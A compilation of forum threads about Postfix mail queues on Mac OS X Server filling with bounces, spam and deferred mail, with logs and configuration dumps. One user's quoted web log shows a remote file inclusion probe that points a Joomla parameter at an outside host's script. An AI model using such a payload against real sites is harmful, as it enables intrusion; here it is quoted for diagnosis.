WARNING: Local version: 0.91.1 Recommended version: 0.91.2
server:/var/log root# spamassassin -V
SpamAssassin version 3.2.3
running on Perl version 5.8.6
Can someone help me to get mails to be delivered againI have a Intel 10.4.10 machine
I have upgraded amavis-new, spamassassin and clamav
After the upgrades I could not send mail with PDF attachments.
I was getting
FAILED: Can't locate object method "binmode" via package "IO::File" at >>/Library/Perl/5.8.6/MIME/Body.pm line 437. (in reply to end of DATA command
Sorry should have said that at this point after tryiing to reinstall amavis-new I went back to previous saved versions of amavisd and amavisd.conf.
Now I am getting status=deferred (delivery temporarily suspended) on all mails
I have gone through the whole upgrade of amavis-new once again
I now have mail being sent and received, except for PDF attachments where the logs show
FAILED: Can't locate object method "binmode" via package "IO::File" at /Library/Perl/5.8.6/MIME/Body.pm line 437. (in reply to end of DATA command
I seem to be stuck between the old versions were I cannot send mail and the new where I can but with no attachments. -
Mail Queue Filling Up - Spam?
Hi All,
Over the weekend the mail queue in SA filled up. This morning some users where complaining about outgoing messages not being delivered. When I checked the mail queue it had about 500 messages in it. All of them looked liked spam. When I deleted them, outgoing messages started being delivered.
I have no idea why that would happen. Could it mean a hacked machine on the network? I've turned off all of my window's machines overnight to see what happens.
here is my config file.
mail:~ warnersmith$ postconf -n
alias_maps = hash:/etc/aliases,hash:/var/mailman/data/aliases
command_directory = /usr/sbin
config_directory = /etc/postfix
content_filter = smtp-amavis:[127.0.0.1]:10024
daemon_directory = /usr/libexec/postfix
debugpeerlevel = 2
enableserveroptions = yes
html_directory = no
inet_interfaces = all
localrecipientmaps =
luser_relay = postofficebox
mail_owner = postfix
mailboxsizelimit = 0
mailbox_transport = cyrus
mailq_path = /usr/bin/mailq
manpage_directory = /usr/share/man
mapsrbldomains =
messagesizelimit = 20971520
mydestination = $myhostname,localhost.$mydomain,mail.sk.com,66.XXX.8.132,10.0.0.132,sk.com,skde sign.com
mydomain = sk.com
mydomain_fallback = localhost
myhostname = sk.com
mynetworks = 127.0.0.1/32,10.0.0.1/32,206.XXX.192.99
mynetworks_style = host
newaliases_path = /usr/bin/newaliases
ownerrequestspecial = no
queue_directory = /private/var/spool/postfix
readme_directory = /usr/share/doc/postfix
recipient_delimiter = +
relayhost = mail.chrl.twtelecom.net
sample_directory = /usr/share/doc/postfix/examples
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
smtpdclientrestrictions = permit_mynetworks hash:/etc/postfix/smtpdreject rejectrblclient sbl.spamhaus.org permit
smtpdpw_server_securityoptions = gssapi,cram-md5,login
smtpdrecipientrestrictions = permitsasl_authenticated,permit_mynetworks,reject_unauthdestination,permit
smtpdsasl_authenable = yes
smtpdtls_certfile = /etc/postfix/server.pem
smtpdtls_keyfile = $smtpdtls_certfile
smtpduse_pwserver = yes
unknownlocal_recipient_rejectcode = 550
MacBook Pro 2.0 GHz 1 GB RAM Mac OS X (10.4.6)Thanks Jeff. I think the code injection maybe it. I have the server set to relay all outgoing messages to our ISP's mail server. When I look at the messages in the mail queue, all of them seem to be bounce backs from the ISP (domain name does not exist.)
When I look at the mail log for one the messages with the ID of 39E33163839, I see:
Oct 10 13:20:11 mail postfix/smtpd[1697]: connect from unknown[10.0.0.45]
Oct 10 13:20:11 mail postfix/smtpd[1697]: 5EB9115C71D: client=unknown[10.0.0.45]
Oct 10 13:20:11 mail postfix/cleanup[1698]: 5EB9115C71D: message-id=<[email protected]>
Oct 10 13:20:11 mail postfix/qmgr[4726]: 5EB9115C71D: from=<[email protected]>, size=1904, nrcpt=1 (queue active)
Oct 10 20:11:02 mail postfix/qmgr[4726]: C6C32162E2F: from=, size=28300, nrcpt=1 (queue active)
Oct 10 20:11:02 mail postfix/smtp[13214]: C6C32162E2F: host relay.mail.twtelecom.net[216.136.102.250] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command)
Oct 10 20:11:03 mail postfix/smtp[13214]: C6C32162E2F: to=<[email protected]>, relay=relay.mail.twtelecom.net[216.54.204.190], delay=3698, status=deferred (host relay.mail.twtelecom.net[216.54.204.190] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command))
Oct 10 20:11:49 mail postfix/smtpd[13189]: connect from c-24-147-6-229.hsd1.ma.comcast.net[24.147.6.229]
Oct 10 20:11:50 mail postfix/smtpd[13189]: 37C60163818: client=c-24-147-6-229.hsd1.ma.comcast.net[24.147.6.229]
Oct 10 20:11:50 mail postfix/cleanup[13178]: 37C60163818: message-id=<000001c6ecc9$d4d5c980$0100007f@Alicia>
Oct 10 20:11:51 mail postfix/qmgr[4726]: 37C60163818: from=<[email protected]>, size=26446, nrcpt=1 (queue active)
Oct 10 20:11:51 mail postfix/smtpd[13189]: disconnect from c-24-147-6-229.hsd1.ma.comcast.net[24.147.6.229]
Oct 10 20:11:55 mail postfix/smtpd[13182]: connect from localhost[127.0.0.1]
Oct 10 20:11:56 mail postfix/smtpd[13182]: F29EA163837: client=localhost[127.0.0.1]
Oct 10 20:11:56 mail postfix/cleanup[13178]: F29EA163837: message-id=<000001c6ecc9$d4d5c980$0100007f@Alicia>
Oct 10 20:11:56 mail postfix/smtpd[13182]: disconnect from localhost[127.0.0.1]
Oct 10 20:11:56 mail postfix/qmgr[4726]: F29EA163837: from=<[email protected]>, size=27040, nrcpt=1 (queue active)
Oct 10 20:11:56 mail postfix/smtp[13179]: 37C60163818: to=<[email protected]>, relay=127.0.0.1[127.0.0.1], delay=6, status=bounced (host 127.0.0.1[127.0.0.1] said: 550 5.7.1 Message content rejected, UBE, id=13135-02 (in reply to end of DATA command))
Oct 10 20:11:56 mail postfix/cleanup[13178]: 39E33163839: message-id=<[email protected]>
Oct 10 20:11:56 mail postfix/qmgr[4726]: 39E33163839: from=, size=28311, nrcpt=1 (queue active)
Oct 10 20:11:56 mail postfix/qmgr[4726]: 37C60163818: removed
Oct 10 20:11:56 mail postfix/pipe[13184]: F29EA163837: to=<[email protected]>, relay=cyrus, delay=1, status=sent (sk.com)
Oct 10 20:11:56 mail postfix/qmgr[4726]: F29EA163837: removed
Oct 10 20:11:56 mail postfix/smtp[13214]: 39E33163839: host relay.mail.twtelecom.net[216.54.204.190] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command)
Oct 10 20:11:56 mail postfix/smtp[13214]: 39E33163839: to=<[email protected]>, relay=relay.mail.twtelecom.net[216.136.95.10], delay=0, status=deferred (host relay.mail.twtelecom.net[216.136.95.10] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command))
When I look at the HTTPD logs for that same minute, I see:
69.231.131.52 - - [10/Oct/2006:14:20:11 -0400] "GET /pages/facility_02.html HTTP/1.1" 200 12193
216.120.232.145 - - [10/Oct/2006:20:11:09 -0400] "GET //components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -
194.52.202.141 - - [10/Oct/2006:20:11:36 -0400] "GET //components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -
68.71.20.37 - - [11/Oct/2006:10:20:11 -0400] "GET /images/leisure_image.3.jpg HTTP/1.1" 200 5338
68.71.20.37 - - [11/Oct/2006:10:20:11 -0400] "GET /images/leisure_image.4.jpg HTTP/1.1" 200 6872
68.71.20.37 - - [11/Oct/2006:10:20:11 -0400] "GET /images/leisure_image.5.jpg HTTP/1.1" 200 3360
The line "//components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -" seem to be that code injection. We don't have a file named sitemap.xml.php on our website.
Am I correct that this is a code injection?
I have three site running on this server. One is a plain old static site for the company it does not use PHP. One is webmail that came with OS X. The final one is an file storage site that does use PHP. It's a commercial code called Copper Project. I've turned off the site overnight to see if this still happens.
The link in in Jeff's post seems to suggest a simple fix. However, I know nothing about PHP programing, so this is beyond me.
Thanks
Henry
MacBook Pro 2.0 GHz 1 GB RAM Mac OS X (10.4.6) -
Outgoing mail queue fills with spam
I remember reading about how to fix this before - but cannot find the details now.
I have a server that is trying to send mail to non existant domains or non existant e-mail addressed. the mail is not originating from clients.
Typical entry in the mail queue is
Message ID: 60D7987570
Date: Thu Aug 17 06:18:36
Size: 34446
Sender: MAILER-DAEMON
Recipient(s) & Status:
[email protected]:
host mail.cncnet.net[210.53.130.195] said: 450 4.1.1 <[email protected]>: Recipient address rejected: User unknown in local recipient table (in reply to RCPT TO command
how can I sent the mail server up to just ditch this stuff in the first place.
TimHere is an extract from the logs. I think I understand this now and it works as it should - but perhaps you could confirm.
This message is clearly not stuck in the outgoing queue. From what I can see mail is received from a backup mail relay for a non existent user on this server. When we try to reject it back to sender, if the sender rejects with 550 we bin it.
I guess the problem is what to do when the receiving mail server fails to respond? I think eventually it times out and we delete the message. Is that correct?
Aug 18 15:27:00 server postfix/cleanup[20819]: 9F7AAE92EB: message-id=<000001c6c2d2$2aae8940$d73fa8c0@hpcsece>
Aug 18 15:27:00 server postfix/qmgr[17315]: 9F7AAE92EB: from=<[email protected]>, size=3353, nrcpt=1 (queue active)
Aug 18 15:27:00 server postfix/smtpd[20816]: disconnect from scanner.datacenta.net[217.33.105.206]
Aug 18 15:27:16 server postfix/smtpd[20827]: connect from localhost[127.0.0.1]
Aug 18 15:27:16 server postfix/smtpd[20827]: B7FA3E930E: client=localhost[127.0.0.1]
Aug 18 15:27:16 server postfix/cleanup[20819]: B7FA3E930E: message-id=<000001c6c2d2$2aae8940$d73fa8c0@hpcsece>
Aug 18 15:27:16 server postfix/qmgr[17315]: B7FA3E930E: from=<[email protected]>, size=3905, nrcpt=1 (queue active)
Aug 18 15:27:16 server postfix/smtpd[20827]: disconnect from localhost[127.0.0.1]
Aug 18 15:27:17 server postfix/smtp[20820]: 9F7AAE92EB: to=<[email protected]>, relay=127.0.0.1[127.0.0.1], delay=18, status=sent (250 2.6.0 Ok, id=20277-06, from MTA: 250 Ok: queued as B7FA3E930E)
Aug 18 15:27:17 server postfix/qmgr[17315]: 9F7AAE92EB: removed
Aug 18 15:27:17 server postfix/lmtp[20828]: B7FA3E930E: to=<[email protected]>, relay=/var/imap/socket/lmtp[/var/imap/socket/lmtp], delay=1, status=bounced (host /var/imap/socket/lmtp[/var/imap/socket/lmtp] said: 550-Mailbox unknown. Either there is no mailbox associated with this 550-name or you do not have authorization to see it. 550 5.1.1 User unknown (in reply to RCPT TO command))
Aug 18 15:27:17 server postfix/cleanup[20819]: 38178E9310: message-id=<[email protected]>
Aug 18 15:27:17 server postfix/qmgr[17315]: 38178E9310: from=, size=6025, nrcpt=1 (queue active)
Aug 18 15:27:17 server postfix/qmgr[17315]: B7FA3E930E: removed
Aug 18 15:27:19 server postfix/smtp[20831]: 38178E9310: to=<[email protected]>, relay=bx1.techsolsc.com[65.5.144.18], delay=2, status=bounced (host bx1.techsolsc.com[65.5.144.18] said: 550 <[email protected]>: Recipient address rejected: Unknown user (in reply to RCPT TO command))
Aug 18 15:27:19 server postfix/qmgr[17315]: 38178E9310: removed -
Mail queue filling with errors, is something broken?
Back in SL, I was able to just look at the queue in server app and if it ever had anything in it, I knew it was a problem and I usually could deal with it.
But in ML, you have to issue "mailq" in terminal to see it. So I did that a lot when first set up, and everything seemed fine.
I just checked it recently and found hundreds of messages like this:
0C8AA2B7E2D6
9315 Sun Jan 4 09:14:13 [email protected]
(host 127.0.0.1[127.0.0.1] said: 451 4.5.0 Error in processing, id=76490-02-4, quar+notif FAILED: temporarily unable to quarantine: 451 4.5.0 Local delivery(1) to /Library/Server/Mail/Data/scanner/virusmails failed: Mailbox file /Library/Server/Mail/Data/scanner/virusmails is executable, refuse to deliver at (eval 102) line 219., id=76490-02-4 at /Applications/Server.app/Contents/ServerRoot/usr/bin/amavisd line 15343. (in reply to end of DATA command))
[email protected]
I delete them and it fills up again.
Can anyone please tell me what's happening here and how to fix it?
Thank a bunch,
ScottHere it is:
prepress:~ server2$ ls -dl /L*/Server/M*/D*/*/virus*
-rwxr-x--- 1 _amavisd _amavisd 548758857 Dec 18 10:42 /Library/Server/Mail/Data/scanner/virusmails
prepress:~ server2$
Thanks Linc! -
Came into the office this morning and everyone is complaining they didn't get any email over the weekend. I log into SA to notice over 300 emails stuck in the queue. I found a couple threads regarding this and this one particularly is almost my exact situation:
http://discussions.apple.com/thread.jspa?messageID=1891076&
With the exception of upgrading the OS. I did actually have to add a virtual IP address to the same NIC that has the IP for our email. I did this because I was having SSL issues:
http://discussions.apple.com/thread.jspa?threadID=612479&tstart=0
Since I wasn't adding a new IP and not so much changing an IP, I didn't use the "changeip" command. Following some of the instructions from the above mentioned thread, I ran "sudo postsuper -r ALL" and this didn't seem to help at all. I then issued a "/sbin/reboot" to restart the email server and now it is in the process of sending all the email that are in the queue. Send and receive email is working properly.
So why the post since I have solved my own problem?
Because it makes me nervous that after adding an additional real-world IP to the extra NIC installed on the server, that it has been behaving this.
So... any thoughts or suggestions on how to prevent this in the future or how to fix this? Thanks.Ahhh! Yes, I did create an actual user for postmaster
and am using it so I could have an additional email
account in Mail.app to monitor email that was
improperly addressed. Usually I find about 1-2
emails a week where someone improperly mis-spelled
someones address and therefore I send it on to the
right place.
Should I delete the "postmaster" account in WGM? But
then how would I be able to check it's email?
Have a look in /etc/postfix/alias. The alias name is on the left (postmaster) and the name of the mail account used for it is on the right. Replace with your own short name or another (I usually set up a separate mailadmin user). But I don't really think that is causing your problem - its the actual receiving undeliverable mail which is generating the bounces back out.
Also in /etc/postfix/main.cf what's the difference
between "myhostname" and "mydomain". I have them
both configured the same with "mail.domain.com".
Should one be "domain.com" and the other
"mail.domain.com"?
myhostname is normally your hostname ( eg mail.domain.com) - what you want your server to use in its 'helo' command. Ideally should be the same as your MX record (and PTR record for your IP). Ideally they should all match but sometimes difficult.
mydomain - eg domain.com
Note that you will have to put the domain into the Local Hosts Alias pane (if not already there) if you previously only had it as your myhostname.
-david -
Mail Queue filling up with DSN failures
So my Exchange 2010 queue viewer keeps filling up with failed DSNs. There is no sender (except for [email protected]). I have done some searching and the first thing that everyone usually mentions as a cause is SPAM. It's not SPAM. I know this
for two reasons:
1. We have a barracuda SPAM/AV firewall that all SMTP email goes through. None of these emails are there
2. We can see the subject of the email. The subject is a cronjob email from our linux servers. "Undeliverable Cron <cronuser@>..." But there is no source email to be found. Our linux server is not sending any.
Any idea what could be causing this?If they're DSNs, they could be sent from anywhere with a spoofed reply address.
Ed Crowley MVP "There are seldom good technological solutions to behavioral problems." -
Hello everyone,
I have some troubles getting email services up on my server.
The plan is to run an SMTP server, POP and IMAP.
So far, POP and IMAP seem to be working, as I can log in with different users.
But there are no mail messages there.
When I check my mail queue, I find many messages.
Mostly from [email protected] or [email protected]
when I check the message details I get this :
Message ID: 5654199DFB
Date: Tue Feb 14 08:30:41
Size: 350
Sender: [email protected]
Recipient(s) & Status:
[email protected]:
delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]:
Connection refused
When I check my smtp log I get this :
Feb 14 09:07:31 billie postfix/cleanup[10385]: 9EB2799E96: message-id=<[email protected]>
Feb 14 09:07:31 billie postfix/qmgr[10387]: 9EB2799E96: from=<[email protected]>, size=636, nrcpt=1 (queue active)
Feb 14 09:07:31 billie postfix/qmgr[10387]: 2813898166: from=<[email protected]>, size=842, nrcpt=1 (queue active)
Feb 14 09:07:31 billie postfix/qmgr[10387]: 4EBB897327: from=<[email protected]>, size=705, nrcpt=1 (queue active)
Feb 14 09:07:31 billie postfix/qmgr[10387]: 5654199DFB: from=<[email protected]>, size=350, nrcpt=1 (queue active)
Feb 14 09:07:31 billie postfix/qmgr[10387]: 59AE199DE6: from=<[email protected]>, size=294, nrcpt=1 (queue active)
Feb 14 09:07:31 billie postfix/qmgr[10387]: 5C59C99DE7: from=<[email protected]>, size=1246, nrcpt=1 (queue active)
Feb 14 09:07:31 billie postfix/qmgr[10387]: 5D3DE95689: from=<[email protected]>, size=788, nrcpt=1 (queue active)
Feb 14 09:07:31 billie postfix/qmgr[10387]: 6F78D994E9: from=<[email protected]>, size=1748, nrcpt=1 (queue active)
Feb 14 09:07:31 billie postfix/qmgr[10387]: A4EC699DEC from=<[email protected]>, size=45296, nrcpt=1 (queue active)
Feb 14 09:07:31 billie postfix/qmgr[10387]: A60B0942D2: from=<[email protected]>, size=688, nrcpt=1 (queue active)
Feb 14 09:07:31 billie postfix/smtp[10388]: connect to 127.0.0.1[127.0.0.1]: Connection refused (port 10024)
Feb 14 09:07:31 billie postfix/qmgr[10387]: AB63D99DF4: from=<[email protected]>, size=1352, nrcpt=1 (queue active)
Feb 14 09:07:31 billie postfix/smtp[10388]: 9EB2799E96: to=<[email protected]>, relay=none, delay=1, status=deferred (connect to 127.0.0.1[127.0.0.1]: Connection refused)
Feb 14 09:07:31 billie postfix/qmgr[10387]: AB74995B99: from=<[email protected]>, size=658, nrcpt=1 (queue active)
Feb 14 09:07:31 billie postfix/smtp[10389]: connect to 127.0.0.1[127.0.0.1]: Connection refused (port 10024)
Feb 14 09:07:31 billie postfix/smtp[10389]: 2813898166: to=<[email protected]>, relay=none, delay=130692, status=deferred (connect to 127.0.0.1[127.0.0.1]: Connection refused)
Feb 14 09:07:31 billie postfix/smtp[10388]: connect to 127.0.0.1[127.0.0.1]: Connection refused (port 10024)
Feb 14 09:07:31 billie postfix/smtp[10388]: 4EBB897327: to=<[email protected]>, relay=none, delay=198147, status=deferred (connect to 127.0.0.1[127.0.0.1]: Connection refused)
Feb 14 09:07:31 billie postfix/smtp[10389]: connect to 127.0.0.1[127.0.0.1]: Connection refused (port 10024)
Feb 14 09:07:31 billie postfix/smtp[10389]: 5654199DFB: to=<[email protected]>, relay=none, delay=2210, status=deferred (connect to 127.0.0.1[127.0.0.1]: Connection refused)
And to top the cake, here is my postconf -n :
postconf -n
command_directory = /usr/sbin
config_directory = /etc/postfix
content_filter = smtp-amavis:[127.0.0.1]:10024
daemon_directory = /usr/libexec/postfix
debugpeerlevel = 2
enableserveroptions = yes
html_directory = no
inet_interfaces = localhost
localrecipientmaps = proxy:unix:passwd.byname $alias_maps
luser_relay =
mail_owner = postfix
mailboxsizelimit = 0
mailbox_transport = cyrus
mailq_path = /usr/bin/mailq
manpage_directory = /usr/share/man
mapsrbldomains =
messagesizelimit = 15728640
mydestination = $myhostname,localhost.$mydomain,localhost,domainname.be
mydomain = domainname.be
mydomain_fallback = localhost
myhostname = mail.domainname.be
mynetworks = 127.0.0.1/32,83.217.76.0/24
mynetworks_style = host
newaliases_path = /usr/bin/newaliases
queue_directory = /private/var/spool/postfix
readme_directory = /usr/share/doc/postfix
relayhost =
sample_directory = /usr/share/doc/postfix/examples
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
smtpdclientrestrictions = permit_mynetworks permit
smtpdenforcetls = no
smtpdpw_server_securityoptions = cram-md5,login,plain
smtpdrecipientrestrictions =
permitsasl_authenticated,permit_mynetworks,reject_unauthdestination,permit
smtpdsasl_authenable = yes
smtpdtls_certfile = /etc/certificates/Default.crt
smtpdtls_keyfile = /etc/certificates/Default.key
smtpduse_pwserver = yes
smtpdusetls = no
unknownlocal_recipient_rejectcode = 550
virtualmailboxdomains = hash:/etc/postfix/virtual_domains
virtual_transport = lmtp:unix:/var/imap/socket/lmtp
Anyone an idea to fix this? I think it is just something minor, but I don't seem to find it. Maybe something involving junk-mail scanning ?
Many many thanks for all your time.
If there are any other questions, I'll try to answer them as soon as possible.This is my output
ps -U clamav
PID TT STAT TIME COMMAND
58 ?? Ss 0:00.01 freshclam -d -D -pfreshclam.pid -c 1
Tried restarts and bin/usr/amavisd start and still nothing. Also looked in the logs and found this:
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: starting. /usr/bin/amavisd at www.funsunstudio.com ama
visd-new-2.2.0 (20041102), Unicode aware
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: user=, EUID: 0 (0); group=, EGID: 0 80 5 29 4 20 3 2 1
0 (0 80 5 29 4 20 3 2 1 0)
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Perl version 5.008006
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Net::Server: 2006/02/15-13:19:35 Amavis (type Net::Serv
er::PreForkSimple) starting! pid(1611)
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Net::Server: Binding to UNIX socket file /var/amavis/am
avisd.sock using SOCK_STREAM
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Net::Server: Binding to TCP port 10024 on host 127.0.0.
1
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Net::Server: Setting gid to "82 82"
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Net::Server: Setting uid to "82"
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Amavis::Conf 2.033
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Archive::Tar 1.22
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Archive::Zip 1.14
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Compress::Zlib 1.33
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Convert::TNEF 0.17
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Convert::UUlib 1.03
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module DB_File 1.810
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module MIME::Entity 5.416
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module MIME::Parser 5.416
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module MIME::Tools 5.416
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Mail::Header 1.65
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Mail::Internet 1.65
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Mail::SpamAssassin 3.000001
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Net::Cmd 2.26
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Net::SMTP 2.29
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Net::Server 0.87
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Time::HiRes 1.65
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Module Unix::Syslog 0.99
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Amavis::DB code NOT loaded
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Amavis::Cache code NOT loaded
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Lookup::SQL code NOT loaded
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Lookup::LDAP code NOT loaded
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: AMCL-in protocol code loaded
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: SMTP-in protocol code loaded
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: ANTI-VIRUS code loaded
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: ANTI-SPAM code loaded
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Unpackers code loaded
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Found $file at /usr/bin/file
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: No $arc, not using it
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Found $gzip at /usr/bin/gzip
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Found $bzip2 at /usr/bin/bzip2
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: No $lzop, not using it
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: No $lha, not using it
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: No $unarj, not using it
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Found $uncompress at /usr/bin/uncompress
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: No $unfreeze, not using it
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: No $unrar, not using it
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: No $zoo, not using it
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Found $cpio at /usr/bin/cpio
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: No $ar, not using it
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: No $rpm2cpio, not using it
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: No $cabextract, not using it
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: No $dspam, not using it
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: Found secondary av scanner Clam Antivirus - clamscan at
/usr/bin/clamscan
Feb 15 13:19:35 www.funsunstudio.com /usr/bin/amavisd[1611]: SpamControl: initializing Mail::SpamAssassin
Feb 15 13:19:36 www.funsunstudio.com /usr/bin/amavisd[1611]: SpamControl: done
Feb 15 13:20:39 www.funsunstudio.com /usr/bin/amavisd[1611]: Net::Server: 2006/02/15-13:20:39 Server closing! -
Mail Queue clogging up...
All of a sudden, our Mac OS X Server 10.4.2. has stopped sending (both externally and internally) as well and delivering mail.
The mail is apparently in the queue, as reported by the Server Admin tool, so incoming mail is there as well as outgoing.
Here is a snippet of mail.log that is representative of the issue... any thoughts or suggestions?
Mar 14 11:38:51 mx1 postfix/smtpd[769]: disconnect from mail4.opencottage.com[216.66.53.55]
Mar 14 11:39:19 mx1 postfix/smtpd[721]: connect from fe-3c.inet.it[213.92.5.106]
Mar 14 11:39:22 mx1 postfix/smtpd[721]: 375D71B9265E: client=fe-3c.inet.it[213.92.5.106]
Mar 14 11:39:22 mx1 postfix/cleanup[793]: 375D71B9265E: message-id=<[email protected]>
Mar 14 11:39:23 mx1 postfix/qmgr[658]: 375D71B9265E: from=<[email protected]>, size=4712, nrcpt=1 (queue active)
Mar 14 11:39:23 mx1 postfix/qmgr[658]: 375D71B9265E: to=<[email protected]>, relay=none, delay=4, status=deferred (delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: Connection refused)
Mar 14 11:39:25 mx1 postfix/smtpd[974]: connect from dhtlmn31.agency.hq[192.168.0.198]
Mar 14 11:39:26 mx1 postfix/smtpd[974]: 0DFDC1B92660: client=dhtlmn31.agency.hq[192.168.0.198], sasl_method=LOGIN, saslusername=chucksouthworth
Mar 14 11:39:26 mx1 postfix/cleanup[936]: 0DFDC1B92660: message-id=<[email protected]>
Mar 14 11:39:26 mx1 postfix/smtpd[769]: connect from mx1.p.bulldogreporter2.com[216.70.54.120]
Mar 14 11:39:27 mx1 postfix/qmgr[658]: 0DFDC1B92660: from=<[email protected]>, size=34473, nrcpt=1 (queue active)
Mar 14 11:39:27 mx1 postfix/qmgr[658]: 0DFDC1B92660: to=<[email protected]>, relay=none, delay=2, status=deferred (delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: Connection refused)
Mar 14 11:39:27 mx1 postfix/smtpd[769]: 7EABA1B92665: client=mx1.p.bulldogreporter2.com[216.70.54.120]
Mar 14 11:39:27 mx1 postfix/cleanup[900]: 7EABA1B92665: message-id=<[email protected]>
Mar 14 11:39:28 mx1 postfix/smtpd[769]: disconnect from mx1.p.bulldogreporter2.com[216.70.54.120]
Mar 14 11:39:28 mx1 postfix/qmgr[658]: 7EABA1B92665: from=<[email protected]>, size=10680, nrcpt=1 (queue active)
Mar 14 11:39:28 mx1 postfix/qmgr[658]: 7EABA1B92665: to=<[email protected]>, relay=none, delay=1, status=deferred (delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: Connection refused)Hi Alex, thanks for your note. According to the system admins normally in charge insist no updates or anythinig have been done at all. Just today, it stopped working.
In any event, here is the output you requested... thanks for any further assistance you can offer!
alias_maps = hash:/etc/aliases,hash:/var/mailman/data/aliases
command_directory = /usr/sbin
config_directory = /etc/postfix
content_filter = smtp-amavis:[127.0.0.1]:10024
daemon_directory = /usr/libexec/postfix
debugpeerlevel = 2
enableserveroptions = yes
html_directory = no
inet_interfaces = all
luser_relay = postmaster
mail_owner = postfix
mailboxsizelimit = 0
mailbox_transport = cyrus
mailq_path = /usr/bin/mailq
manpage_directory = /usr/share/man
mapsrbldomains =
messagesizelimit = 15728640
mydestination = $myhostname,localhost.$mydomain,mx1.ypbr.com,mail.ypbr.com,ypbr.com
mydomain = ypbr.com
mydomain_fallback = localhost
myhostname = mx1.ypbr.com
mynetworks = 127.0.0.1/32,192.168.0.11/32,192.168.0.0/24
mynetworks_style = host
newaliases_path = /usr/bin/newaliases
ownerrequestspecial = no
queue_directory = /private/var/spool/postfix
readme_directory = /usr/share/doc/postfix
recipient_delimiter = +
sample_directory = /usr/share/doc/postfix/examples
sendmail_path = /usr/sbin/sendmail
setgid_group = postdrop
smtpdclientrestrictions = permit_mynetworks rejectrblclient sbl-xbl.spamhaus.org permit
smtpdpw_server_securityoptions = cram-md5,login,plain
smtpdrecipientrestrictions = permitsasl_authenticated,permit_mynetworks,reject_unauthdestination,permit
smtpdsasl_authenable = yes
smtpdtls_keyfile =
smtpduse_pwserver = yes
